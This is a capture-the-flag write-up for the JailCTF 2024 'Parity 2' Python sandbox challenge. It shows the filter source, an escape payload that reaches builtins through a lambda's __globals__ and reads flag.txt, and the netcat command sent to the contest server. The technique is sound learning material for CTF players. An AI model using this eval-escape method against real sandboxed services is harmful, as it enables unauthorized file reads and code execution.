MisTrale Write UpMisTrale Write Up
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
    • ๐Ÿ Introduction
    • ๐ŸŒŸ Acknowledgments
  • ๐Ÿ’€ Root-Me 20k

    • ๐Ÿ’€ Root Me - 20k
    • โค๏ธ Bash - Love Me
    • ๐Ÿ›‘ Python - Not This Way
    • ๐Ÿ“š NodeJs - Never Trust Node One
  • โ›“๏ธ JailCTF-2024

    • ๐Ÿ‘ฎ JailCTF - 2024
    • ๐Ÿ”  !Alphabeat
    • ๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
    • ๐ŸŽ‰ Parity 1
    • ๐ŸŽˆ Parity 2
    • ๐Ÿช„ Pickle Magic
    • โ˜Ž๏ธ Get and Call
    • โ‰๏ธ No Sense
    • ๐ŸŸฉ Filter'd
    • ๐Ÿง SUS Calculator
  • ๐Ÿ•น๏ธ TCP1P

    • ๐ŸŽฎ Another Discord
  • ๐Ÿงฎ GCC-2024

    • ๐Ÿ˜… soBusy
  • ๐ŸŒ› Midnight

    • ๐ŸŒƒ Midnight
    • โœจ Privesc - 1
    • ๐Ÿ”‘ Privesc - 2
    • ๐Ÿ‘‘ Privesc - 3
    • ๐ŸŽญ My Face

๐ŸŽˆ Parity 2

๐Ÿ‘€ Before you start

You can donate to me via Buy Me a Coffee or follow me on Github

๐Ÿ“– Challenge Statement

#!/usr/local/bin/python3

inp = input("> ")
f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    print(v, i, ord(v), i % 2 == ord(v) % 2)
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp, {"__builtins__": None, 'f': f})

๐Ÿšฉ Getting the Flag

The challenge seems similar to the previous version. We still have an eval function, but this time it is executed in a local scope where only the function f is defined.

First, we need to retrieve a global scope in order to access the open function and read the flag.txt file.

We found that we can call the function f to get the global scope:

f.__globals__["__builtins__"]["open"]('flag.txt')

Now, we need to implement this using a combination of odd and even ASCII characters.

inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""

To achieve this, we used the following tricks:

  • \t is an odd ASCII character.
  • ``` `` is an even ASCII character.
  • The open keyword satisfies the conditions of the challenge.
  • The use of ''"" allows string concatenation without the need for +.

Next, if we execute our code with print set in the builtins for debugging:

$ cat chal.py
#!/usr/local/bin/python3
inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""

f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    print(v, i, ord(v), i % 2 == ord(v) % 2)
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
        print('bad')
        exit()

inp = f"print({inp})"

eval(inp, {"__builtins__": __builtins__, 'f': f})
$ python3 main.py
<_io.TextIOWrapper name='flag.txt' mode='r' encoding='UTF-8'>

The file flag.txt is opened successfully. Now, we need to find a way to read its content.

For this, we can use a neat trick:

The Magic of for โค๏ธ

In Python, since thereโ€™s no default type restriction, we can iterate over objects that are not lists to get their content.

$ python3
Python 3.12.5+ (heads/3.12-dirty:7dec3d7acbb, Aug 23 2024, 18:26:06) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> [ x for x in open("flag.txt") ]
['jail{flag_will_be_here_on_remote}\n']

Now, let's proceed as follows:

inp = """([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] )"""

And, like in the previous part, we will call another eval so that the script's eval can output the flag

#!/usr/local/bin/python3

inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""

f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    print(v, i, ord(v), i % 2 == ord(v) % 2)
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
        print('bad')
        exit()

eval(inp, {"__builtins__": None, 'f': f})

This gives us:

$ python3 chal.py
Traceback (most recent call last):
  File "/mnt/c/Users/MisTrale/Desktop/Perso/CTF/WriteUps/JailCtf2024/Parity-2/main.py", line 19, in <module>
    eval(inp, {"__builtins__": None, 'f': f})
  File "<string>", line 1, in <module>
  File "<string>", line 1
    jail{flag_will_be_here_on_remote}
        ^
SyntaxError: invalid syntax

Finally, we can send our code to the server:

$ cat inject.py
inp =  """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""
print(inp)
$ python3 chal.py | nc challs2.pyjail.club 7992
> Traceback (most recent call last):
  File "/app/run", line 13, in <module>
    eval(inp, {"__builtins__": None, 'f': f})
  File "<string>", line 1, in <module>
  File "<string>", line 1
    jail{parity2_1e2e8963ea65a0333f617}
        ^
SyntaxError: invalid syntax

๐Ÿ’– Support

๐Ÿ‘€ Before you leave

You can donate to me via Buy Me a Coffee or follow me on Github

Prev
๐ŸŽ‰ Parity 1
Next
๐Ÿช„ Pickle Magic